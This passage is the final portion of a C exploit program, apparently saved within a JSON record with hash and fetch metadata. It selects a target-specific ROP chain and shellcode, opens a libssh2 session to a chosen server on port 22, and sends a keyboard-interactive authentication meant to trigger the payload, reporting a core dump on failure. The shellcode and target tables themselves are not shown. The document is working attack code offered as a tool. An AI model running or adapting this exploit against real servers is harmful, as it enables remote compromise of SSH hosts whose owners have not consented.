'%s'\\n\",targets[rc].name);\n\t\t\t\t\t\t\tretaddr = malloc(strlen(targets[rc].ropchain)+1);\n\t\t\t\t\t\t\tif(retaddr){\n\t\t\t\t\t\t\t\tmemset(retaddr,0,strlen(targets[rc].ropchain)+1);\n\t\t\t\t\t\t\t\tmemcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));\n\t\t\t\t\t\t\t\titarg = rc;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1:\n\t\t\t\t\t\t\tprintf(\"[-] chosen target '%s'\\n\",targets[rc].name);\n\t\t\t\t\t\t\tretaddr = malloc(strlen(targets[rc].ropchain)+1);\n\t\t\t\t\t\t\tif(retaddr){\n\t\t\t\t\t\t\t\tmemset(retaddr,0,strlen(targets[rc].ropchain)+1);\n\t\t\t\t\t\t\t\tmemcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));\n\t\t\t\t\t\t\t\titarg = rc;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 2:\n\t\t\t\t\t\t\tprintf(\"[-] chosen target '%s'\\n\",targets[rc].name);\n\t\t\t\t\t\t\tretaddr = malloc(strlen(targets[rc].ropchain)+1);\n\t\t\t\t\t\t\tif(retaddr){\n\t\t\t\t\t\t\t\tmemset(retaddr,0,strlen(targets[rc].ropchain)+1);\n\t\t\t\t\t\t\t\tmemcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));\n\t\t\t\t\t\t\t\titarg = rc;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 3:\n\t\t\t\t\t\t\tprintf(\"[-] chosen target '%s'\\n\",targets[rc].name);\n\t\t\t\t\t\t\tretaddr = malloc(strlen(targets[rc].ropchain)+1);\n\t\t\t\t\t\t\tif(retaddr){\n\t\t\t\t\t\t\t\tmemset(retaddr,0,strlen(targets[rc].ropchain)+1);\n\t\t\t\t\t\t\t\tmemcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));\n\t\t\t\t\t\t\t\titarg = rc;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 4:\n\t\t\t\t\t\t\tprintf(\"[-] chosen target '%s'\\n\",targets[rc].name);\n\t\t\t\t\t\t\tretaddr = malloc(strlen(targets[rc].ropchain)+1);\n\t\t\t\t\t\t\tif(retaddr){\n\t\t\t\t\t\t\t\tmemset(retaddr,0,strlen(targets[rc].ropchain)+1);\n\t\t\t\t\t\t\t\tmemcpy((void*)retaddr,(void*)targets[rc].ropchain,strlen(targets[rc].ropchain));\n\t\t\t\t\t\t\t\titarg = rc;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tprintf(\"[!] Invalid target selection %d\\n\", rc);\n\t\t\t\t\t\t\texit(0);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\titarg = 1;\n\t\t\t\t}\n        \t                break;\n\t\t\tcase 'h':\n\t\t\t\tprintf(\"[!] Usage instructions.\\n[\\n\");\n\t\t\t\tprintf(\"[ %s <required> (optional)\\n[\\n[   --server|-s <ip/hostname>\\n\",argv[0]);\n\t\t\t\tprintf(\"[   --port|-p (port)[default 22]\\n[   --target|-t <target#>\\n\");\n\t\t\t\tprintf(\"[   --shellcode|-x <shellcode#>\\n[\\n\");\n\t\t\t\tprintf(\"[ Target#'s\\n\");\n\t\t\t\tfor(i = 0;i <= targetno - 1;i++){\n\t\t\t\t\tprintf(\"[ %d \\\"%s\\\"\\n\",i,targets[i]);\n\t\t\t\t}\n\t\t\t\tprintf(\"[\\n[ Shellcode#'s\\n\");\n\t\t\t\tfor(i = 0;i <= shellno - 1;i++){\n\t\t\t\t\tprintf(\"[ %d \\\"%s\\\" (length %d bytes)\\n\",i,shellcodes[i].name,strlen(shellcodes[i].shellcode));\n\t\t\t\t}\n\t\t\t\tprintf(\"\\e[0m\");\n\t\t\t\texit(0);\n\t\t\t\tbreak;\n\t\t\tdefault:\n                \t\tbreak;\n\t        }\n\t}\n\tif(itarg != 1 || ihost  != 1 || ishell < 0){\n\t\tprintf(\"[!] error, insufficient arguments, try running '%s --help'\\e[0m\\n\",argv[0]);\n\t\texit(-1);\n\t}\n\trc = libssh2_init(0);\n\thostaddr = inet_addr(host);\n\tsd = socket(AF_INET, SOCK_STREAM, 0);\n\tsain.sin_family = AF_INET;\n\tsain.sin_port = htons(port);\n\tsain.sin_addr.s_addr = hostaddr;\n\tif(connect(sd, (struct sockaddr*)(&sain),sizeof(struct sockaddr_in)) != 0) {\n\t\tfprintf(stderr, \"[!] failed to connect!\\n\");\n\t\tgoto shutdown;\n\t}\n\tsession = libssh2_session_init();\n\tlibssh2_session_set_blocking(session, 1);\n\twhile((rc = libssh2_session_handshake(session, sd))==LIBSSH2_ERROR_EAGAIN);\n\tif(rc) {\n\t\tprintf(\"[!] failure establishing ssh session: %d\\n\", rc);\n\t\tgoto shutdown;\n\t}\n\tnh = libssh2_knownhost_init(session);\n\tif(!nh) {\n\t\tprintf(\"[!] failure on libssh2 init\\n\");\n\t\tgoto shutdown;\n\t}\n\tfingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1);\n\tprintf(\"[+] ssh host fingerprint: \");\n\tfor(i = 0; i < 20; i++) {\n\t\tprintf(\"%02x\", (unsigned char)fingerprint[i]);\n\t}\n\tprintf(\"\\n\");\n\tlibssh2_knownhost_free(nh);\n\tsignal(SIGINT,&on_interrupt);\n\tlibssh2_userauth_keyboard_interactive(session, \"\", &kbd_callback);\n\tprintf(\"[!] exploit failed, core maybe on target!\\n\");\nshutdown:\n\tif(sd){\n\t\tclose(sd);\n\t}\n\tprintf(\"\\e[0m\");\n\treturn -2;\n}","sha256":"9a7ded89beb6905f51a121cb5b684e46c66086e4a713ae4c4ea048c96e84d7a1","bytes":21577,"fetchedAt":"2026-11-26T21:07:58.479Z","encoding":"utf-8 (display only; download retains original bytes)"}